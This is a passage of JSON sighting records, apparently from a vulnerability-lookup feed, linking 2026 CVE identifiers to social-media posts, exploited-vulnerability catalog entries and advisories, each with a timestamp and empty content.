"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/mwyr.es/post/3mdhwqtvarb2g", "content": "", "creation_timestamp": "2026-01-28T09:15:17.173101Z"}, {"uuid": "eeeb66f3-7e25-4d14-a9e3-38f2a2a08ab2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24002", "type": "seen", "source": "https://bsky.app/profile/sctocs.bsky.social/post/3mdhylaam4c2k", "content": "", "creation_timestamp": "2026-01-28T09:47:57.094697Z"}, {"uuid": "48bfff6b-1f61-434b-803b-bf91e648c163", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24798", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3mdhylw2eac2b", "content": "", "creation_timestamp": "2026-01-28T09:48:27.382859Z"}, {"uuid": "7451b3df-9fd4-45bb-a38c-18423a6c8145", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24798", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3mdhylxnhy22b", "content": "", "creation_timestamp": "2026-01-28T09:48:27.850609Z"}, {"uuid": "984801df-002a-424c-a846-1a348ec5ea73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24798", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3mdhym2agbk2b", "content": "", "creation_timestamp": "2026-01-28T09:48:28.386737Z"}, {"uuid": "298c735f-61ea-4c43-8ec6-f6b76060af6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24150", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mhwb6vetst2w", "content": "", "creation_timestamp": "2026-03-25T23:40:08.628493Z"}, {"uuid": "7e993b28-2f5e-4c67-b931-7f53812d1b32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24858", "type": "seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mdhziwajzd27", "content": "", "creation_timestamp": "2026-01-28T10:04:31.675660Z"}, {"uuid": "68edf28a-8c94-4efb-ab1d-b9253498ed04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mdi3do6ku72u", "content": "", "creation_timestamp": "2026-01-28T10:37:23.254916Z"}, {"uuid": "a1cd6378-0694-42e6-a755-ed23011c3af0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mdi47iwlddm2", "content": "", "creation_timestamp": "2026-01-28T10:53:02.189026Z"}, {"uuid": "270d1f18-62a5-479a-9de4-ec2248109b10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24739", "type": "seen", "source": "https://bsky.app/profile/symfony.com/post/3mdi56unoj726", "content": "", "creation_timestamp": "2026-01-28T11:10:29.653486Z"}, {"uuid": "496bb6c3-ae7c-4bed-bcfb-0959e67d6a74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3mdia626ym72z", "content": "", "creation_timestamp": "2026-01-28T12:03:43.704914Z"}, {"uuid": "e66afc7d-0fac-4777-8cda-d2be0fed8eac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "MISP/bcf94b25-4437-443f-8768-24f4a2d17f91", "content": "", "creation_timestamp": "2026-01-28T09:23:05.000000Z"}, {"uuid": "855327f3-2bc3-479a-9d86-0b259d4a55cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mdiccmcqh22a", "content": "", "creation_timestamp": "2026-01-28T12:42:04.286801Z"}, {"uuid": "701198af-85a5-4a09-99c0-c73aaecfe7b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/reconbee.bsky.social/post/3mdicl4o7ps26", "content": "", "creation_timestamp": "2026-01-28T12:46:55.882311Z"}, {"uuid": "bc8d0f01-1db5-48db-a5c1-f220931734c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mdicre6lee22", "content": "", "creation_timestamp": "2026-01-28T12:50:22.374599Z"}, {"uuid": "e9f4a340-8ea4-4052-b452-2c9fe6e82028", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24842", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdidhqg3yu2o", "content": "", "creation_timestamp": "2026-01-28T13:02:50.362515Z"}, {"uuid": "8ddeff77-357a-4492-94a6-d9da5f72f9e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://infosec.exchange/users/technadu/statuses/115973360458150895", "content": "", "creation_timestamp": "2026-01-28T15:10:45.145086Z"}, {"uuid": "039ee3fa-4b7f-413e-9e6c-fc4d98f9a248", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/technadu.com/post/3mdiktsaqe22f", "content": "", "creation_timestamp": "2026-01-28T15:15:19.225079Z"}, {"uuid": "20e72045-d894-40f1-8ec0-847f0f1cb271", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/technadu.com/post/3mdikumjmkk2f", "content": "", "creation_timestamp": "2026-01-28T15:15:19.731952Z"}, {"uuid": "554ba8b8-e597-40ed-8e10-6d4e06e7e879", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24739", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mdilxzeb3h2j", "content": "", "creation_timestamp": "2026-01-28T15:35:05.570934Z"}, {"uuid": "78e346bc-6d64-4380-8f92-8346f07665ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mdily6owvu2u", "content": "", "creation_timestamp": "2026-01-28T15:35:11.179663Z"}, {"uuid": "e42cbd31-5c42-4b44-a9ea-9892feb4eaa3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24868", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mdilylrr5r2h", "content": "", "creation_timestamp": "2026-01-28T15:35:24.956706Z"}, {"uuid": "5a2d0aa5-bd09-48d9-b583-67f16c9614fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24869", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mdilylrr5r2h", "content": "", "creation_timestamp": "2026-01-28T15:35:25.045782Z"}, {"uuid": "0c85a223-b99e-431b-943f-14430bf5f4a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mdiozubrfuu2", "content": "", "creation_timestamp": "2026-01-28T16:29:54.223074Z"}, {"uuid": "2c3cba1a-3d97-4b28-ad85-ee5ae8523897", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mdipifwt3p2w", "content": "", "creation_timestamp": "2026-01-28T16:37:57.118530Z"}, {"uuid": "f48a16ac-6d59-47a7-9219-3d5cba0c2969", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mdipolios72b", "content": "", "creation_timestamp": "2026-01-28T16:41:24.776871Z"}, {"uuid": "7e827f28-a4ee-4ef7-88be-02ba07afc7fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/cecallihelper.bsky.social/post/3mdiqh7kxok2k", "content": "", "creation_timestamp": "2026-01-28T16:55:17.335168Z"}, {"uuid": "94a41d71-b67c-4bcf-bcaa-53dcc0aacead", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2026-24858", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/e1546c5c-ee29-412d-8453-540ce5e9e017", "content": "", "creation_timestamp": "2026-02-02T12:25:40.434685Z"}, {"uuid": "8baacceb-573b-410b-9838-49edcd326cd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2026-24061", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/e93f2758-b37b-4a65-83f5-a42bab2a9c86", "content": "", "creation_timestamp": "2026-02-02T12:25:40.914124Z"}, {"uuid": "3d5f1ae3-90d3-46d3-a329-c71885e0bd61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24159", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3midv2gakwk2u", "content": "", "creation_timestamp": "2026-03-31T09:40:09.945212Z"}, {"uuid": "2600af9f-ccc3-4e4b-90a5-9d33c765f282", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24165", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3miepabtswa2c", "content": "", "creation_timestamp": "2026-03-31T17:28:44.114853Z"}, {"uuid": "47763cf1-d7a0-4f0d-9919-131d24c4ecef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24154", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3miepain7xw2r", "content": "", "creation_timestamp": "2026-03-31T17:28:52.206789Z"}, {"uuid": "7d47646e-5a0c-414d-aae8-b2375dbe90cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24154", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3miepasmjts2r", "content": "", "creation_timestamp": "2026-03-31T17:29:01.673593Z"}, {"uuid": "ee4a19f8-009a-402e-9fd1-09a7568b1afc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24164", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3miepb2gnzj2j", "content": "", "creation_timestamp": "2026-03-31T17:29:10.043010Z"}, {"uuid": "0e869023-bc08-48c4-b811-7cec0bfb59f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24148", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3miepbcnduy2c", "content": "", "creation_timestamp": "2026-03-31T17:29:18.729658Z"}, {"uuid": "e21a4ad2-9bf1-48ef-a668-f7d431c31a79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24154", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3miepkoeo5j2j", "content": "", "creation_timestamp": "2026-03-31T17:34:33.034555Z"}, {"uuid": "bae5375f-f27d-4588-a9d0-042b4b090c7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24148", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3miev6tyebb24", "content": "", "creation_timestamp": "2026-03-31T19:15:17.927044Z"}, {"uuid": "2ef01834-1313-465e-ab61-4f540465ccb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24164", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mievzpbfvf2o", "content": "", "creation_timestamp": "2026-03-31T19:30:18.950735Z"}, {"uuid": "1f1a6a19-3990-4fa5-8022-881d5934fc5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2480", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mifnhfzgb622", "content": "", "creation_timestamp": "2026-04-01T02:29:34.850930Z"}, {"uuid": "4ec1ec2b-1fb0-4f42-95aa-9a9d82e55a3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24018", "type": "seen", "source": "https://bsky.app/profile/securitycipher.bsky.social/post/3migabtumu42d", "content": "", "creation_timestamp": "2026-04-01T08:06:29.370685Z"}, {"uuid": "ac7ed4b1-d48e-48e0-8414-74765ec82d7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24096", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3migkkmuj2224", "content": "", "creation_timestamp": "2026-04-01T11:10:21.300560Z"}, {"uuid": "53e83947-8f81-45f0-9b63-4e8ea3057ff0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2480", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mihamhkj432h", "content": "", "creation_timestamp": "2026-04-01T17:45:05.483146Z"}, {"uuid": "1cf2b53d-430a-4e5b-990f-8f4e8cd728b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24291", "type": "published-proof-of-concept", "source": "https://github.com/mdsecactivebreach/RegPwn", "content": "", "creation_timestamp": "2026-03-12T17:00:00.000000Z"}, {"uuid": "d6e837dc-9da1-4aeb-ac68-12555218776b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24308", "type": "seen", "source": "https://bsky.app/profile/gcpweekly.bsky.social/post/3milpfswmfo2d", "content": "", "creation_timestamp": "2026-04-03T12:20:27.250864Z"}, {"uuid": "398d6865-a8c3-4d26-b7cc-d0f3ff75e3e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24281", "type": "seen", "source": "https://bsky.app/profile/gcpweekly.bsky.social/post/3milpfswmfo2d", "content": "", "creation_timestamp": "2026-04-03T12:20:27.331559Z"}, {"uuid": "08f97578-cbc6-4c83-8f9d-d7626746613b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24308", "type": "seen", "source": "https://bsky.app/profile/gcpweekly.bsky.social/post/3mimdjp2iyn2y", "content": "", "creation_timestamp": "2026-04-03T18:20:32.249500Z"}, {"uuid": "97941e5a-63e2-4986-9c9d-4e653275776a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24281", "type": "seen", "source": "https://bsky.app/profile/gcpweekly.bsky.social/post/3mimdjp2iyn2y", "content": "", "creation_timestamp": "2026-04-03T18:20:32.327825Z"}, {"uuid": "1bcb270e-4bbb-41d0-af57-f3091daf3997", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24164", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mimj3xz5of2v", "content": "", "creation_timestamp": "2026-04-03T20:00:14.679418Z"}, {"uuid": "b8d6f217-483f-4b08-8f07-b135cd824a56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24148", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mimk7l5gai2k", "content": "", "creation_timestamp": "2026-04-03T20:20:09.067987Z"}, {"uuid": "4147f79a-fb40-4f81-9bae-59148857cf9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24477", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mimmlh3hpt2i", "content": "", "creation_timestamp": "2026-04-03T21:02:45.823374Z"}, {"uuid": "394d71a0-139d-420b-b90c-3bda28fba224", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24165", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mimt5tbyrj2q", "content": "", "creation_timestamp": "2026-04-03T23:00:13.906611Z"}, {"uuid": "c80a129b-e697-49aa-b797-bc6e57a9c84e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24154", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3miqheyx3vn2f", "content": "", "creation_timestamp": "2026-04-05T09:40:09.442958Z"}, {"uuid": "8054b737-cfe5-43c1-8968-dda1c03f7902", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24660", "type": "seen", "source": "https://infosec.place/objects/a2376c08-1874-41bc-927d-b5b917cc6297", "content": "", "creation_timestamp": "2026-04-07T14:30:23.601448Z"}, {"uuid": "48cf2784-c6df-47ef-bbbe-7967df4cad69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24450", "type": "seen", "source": "https://infosec.place/objects/29afbc8a-5592-4e64-8450-859a4223cef1", "content": "", "creation_timestamp": "2026-04-07T14:30:28.998877Z"}, {"uuid": "382ac167-00f6-4c37-acec-a14981cf5777", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24450", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3miw3s5o2cj2s", "content": "", "creation_timestamp": "2026-04-07T15:28:56.280956Z"}, {"uuid": "30f1e969-e21e-4149-a100-fd0becaf3ec5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24660", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3miw3sfcjxx2p", "content": "", "creation_timestamp": "2026-04-07T15:29:07.401853Z"}, {"uuid": "d2187553-6647-444c-97ca-a319b2f9044c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24913", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mixnln6bez2h", "content": "", "creation_timestamp": "2026-04-08T06:19:52.662516Z"}, {"uuid": "36b8fbfe-4902-4742-9222-a92fd54f282b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24913", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mixtt6tasp2n", "content": "", "creation_timestamp": "2026-04-08T08:11:27.950423Z"}, {"uuid": "b146e71b-6538-415a-9ec5-3e378f74b20e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24913", "type": "seen", "source": "https://jvn.jp/en/jp/JVN33581068/", "content": "", "creation_timestamp": "2026-04-07T20:00:00.000000Z"}, {"uuid": "acde2eff-77b2-4408-b295-64b8dc51d5a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2481", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3miyiqzj6ql2o", "content": "", "creation_timestamp": "2026-04-08T14:26:10.359204Z"}, {"uuid": "8f35b3d7-491f-4eb1-a312-45a3942eb1fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24511", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3miylmna5ef2i", "content": "", "creation_timestamp": "2026-04-08T15:17:17.960929Z"}, {"uuid": "a6a029a6-726e-404f-8927-adeb6d6f64eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24511", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-24511", "content": "", "creation_timestamp": "2026-04-08T04:16:40.000000Z"}, {"uuid": "4b1aa292-10e1-404d-8cf7-ab95b78a874c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24983", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3miyzqq4kls2w", "content": "", "creation_timestamp": "2026-04-08T19:30:07.484005Z"}, {"uuid": "197d52b6-2413-447e-81f9-9652ea411842", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24291", "type": "seen", "source": "https://bsky.app/profile/g0rosato.bsky.social/post/3miz2afb7yr2v", "content": "", "creation_timestamp": "2026-04-08T19:38:53.554436Z"}, {"uuid": "e2769c0a-9a9c-4183-aae1-f87567c6ea31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24987", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mizh5uqn4j2h", "content": "", "creation_timestamp": "2026-04-08T23:30:07.181340Z"}, {"uuid": "82a2784d-86e7-4228-95fe-c7fe94f6b63f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24378", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mizr7qdcza2j", "content": "", "creation_timestamp": "2026-04-09T02:30:07.263562Z"}, {"uuid": "2faeb6b4-50a6-4c3e-a81e-bb9ce2d0df18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24993", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mizukzu6di2t", "content": "", "creation_timestamp": "2026-04-09T03:30:07.593891Z"}, {"uuid": "e6e138e0-25fb-4d2a-9e34-ec3c1752902d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24362", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mj2by6susq2e", "content": "", "creation_timestamp": "2026-04-09T07:30:07.439077Z"}, {"uuid": "d8d025d8-a6a7-4fa3-a7f9-f4790e5e1478", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24989", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mj2ioqvs7d2h", "content": "", "creation_timestamp": "2026-04-09T09:30:07.215537Z"}, {"uuid": "97cde541-a399-4e77-958a-e931c842b199", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24661", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mj2rrj4zir2d", "content": "", "creation_timestamp": "2026-04-09T12:12:43.358815Z"}, {"uuid": "c5724095-5528-4ab8-96dc-5aaf75b79ffa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/infosecbot.bsky.social/post/3mj2vsh5vlx23", "content": "", "creation_timestamp": "2026-04-09T13:24:50.126040Z"}, {"uuid": "62d4e4e7-dbed-4744-9f1e-077bb897fd07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24376", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mj2zh7hqgg2c", "content": "", "creation_timestamp": "2026-04-09T14:30:07.711119Z"}, {"uuid": "80b150c7-b221-451d-b2ed-ae5467d9db37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24880", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mj3tvzsm252s", "content": "", "creation_timestamp": "2026-04-09T22:23:42.160804Z"}, 